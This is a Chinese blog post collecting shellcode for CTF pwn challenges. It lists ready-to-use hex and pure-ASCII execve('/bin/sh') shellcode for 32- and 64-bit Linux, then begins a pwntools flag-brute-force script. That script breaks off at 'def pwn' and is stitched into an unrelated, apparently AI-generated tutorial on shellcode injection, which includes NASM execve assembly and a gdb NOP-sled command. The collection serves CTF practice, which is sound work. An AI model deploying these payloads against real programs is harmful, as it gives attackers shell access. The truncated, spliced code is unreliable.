pwn题shellcode收集

这篇博客整理了pwn题目中常见的shellcode,包括execve和cmp flag byte的shellcode实例,便于读者参考和在解决pwn问题时使用。在无法直接获取flag的情况下,文章还介绍了如何通过shellcode实现爆破逻辑。

摘要生成于 C知道 ,由 DeepSeek-R1 满血版支持, 前往体验 >

shellcode --> execve

  这里对pwn中使用到的shellcode做了一个汇总,方便大家参考和使用。

# 32位 短字节shellcode --> 21字节
\x6a\x0b\x58\x99\x52\x68\x2f\x2f\x73\x68\x68\x2f\x62\x69\x6e\x89\xe3\x31\xc9\xcd\x80

# 32位 纯ascii字符shellcode
PYIIIIIIIIIIQZVTX30VX4AP0A3HH0A00ABAABTAAQ2AB2BB0BBXP8ACJJISZTK1HMIQBSVCX6MU3K9M7CXVOSC3XS0BHVOBBE9RNLIJC62ZH5X5PS0C0FOE22I2NFOSCRHEP0WQCK9KQ8MK0AA

# 32位 scanf可读取的shellcode
\xeb\x1b\x5e\x89\xf3\x89\xf7\x83\xc7\x07\x29\xc0\xaa\x89\xf9\x89\xf0\xab\x89\xfa\x29\xc0\xab\xb0\x08\x04\x03\xcd\x80\xe8\xe0\xff\xff\xff/bin/sh

# 64位 scanf可读取的shellcode 22字节
\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\xb0\x3b\x99\x0f\x05

# 64位 较短的shellcode  23字节
\x48\x31\xf6\x56\x48\xbf\x2f\x62\x69\x6e\x2f\x2f\x73\x68\x57\x54\x5f\x6a\x3b\x58\x99\x0f\x05

# 64位 纯ascii字符shellcode
Ph0666TY1131Xh333311k13XjiV11Hc1ZXYf1TqIHf9kDqW02DqX0D1Hu3M2G0Z2o4H0u0P160Z0g7O0Z0C100y5O3G020B2n060N4q0n2t0B0001010H3S2y0Y0O0n0z01340d2F4y8P115l1n0J0h0a070t

shellcode --> cmp flag byte

  下面的代码是在无法输出flag时,尝试用shellcode实现一个爆破逻辑,当flag的字符与我们猜想的字符一致时代码将会陷入循环,如此来爆破flag。

from pwn import *
import string


# # 这里的pwn只是为了演示流程,具体逻辑还得看题目
def pwn
### Pwn College中的Shellcode Injection教程概述 在Pwn College中,`Shellcode Injection` 是一种常见的攻击技术,用于向目标程序注入并执行自定义的机器代码(即shellcode)。这种技术通常涉及以下几个方面: #### 1. **理解Shellcode的工作原理** Shellcode是一种小型的可执行代码片段,通常以十六进制形式表示。它的主要目的是在成功利用漏洞后,在目标系统上执行特定操作。例如,最常见的用途是打开一个交互式的shell[^3]。 在Linux x86架构下,获取shell的标准方法是通过调用 `execve("/bin/sh", NULL, NULL)` 系统调用来启动一个新的shell进程[^4]。 #### 2. **编写简单的Shellcode** 编写Shellcode的过程可以分为几个部分: - **确定功能需求**:例如,获取shell、连接远程服务器等。 - **汇编代码开发**:使用汇编语言实现所需的功能。以下是一个典型的x86 Linux下的shellcode示例: ```nasm global _start section .text _start: xor eax, eax ; 清零eax寄存器 push eax ; 将NULL压入栈中 (作为字符串结束符) push 0x68732f2f ; 推送 "//sh" 到栈中 push 0x6e69622f ; 推送 "/bin" 到栈中 mov ebx, esp ; 将指向"/bin//sh"的指针存储到ebx push eax ; 压入另一个NULL (argv数组的结尾) mov edx, esp ; edx现在指向NULL push ebx ; 压入指向"/bin//sh"的指针 mov ecx, esp ; ecx现在指向argv数组 mov al, 0xb ; 设置系统调用号为execve(11) int 0x80 ; 调用中断触发系统调用 ``` - **转换为机器码**:将上述汇编代码编译成二进制格式,并提取其原始字节序列以便嵌入到exploit中[^5]。 #### 3. **注入与执行Shellcode** 注入Shellcode的方式多种多样,具体取决于目标程序中存在的漏洞类型。以下是几种常见场景及其对应的解决策略: - **缓冲区溢出**:当存在未受保护的堆栈空间时,可以通过覆盖返回地址来跳转至已加载的shellcode位置[^1]。 - **ROP链构建**:如果NX位启用,则需借助Return-Oriented Programming绕过内存保护机制[^2]。 #### 4. **测试与调试** 使用工具如GDB或PEDA可以帮助开发者逐步跟踪程序行为,验证shellcode是否按预期运行以及定位潜在错误所在之处。 ```bash gdb ./vulnerable_program break *main+<offset> run $(python -c 'print("\x90"*100 + "\x31\xc0\x50...")') ``` --- ###
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值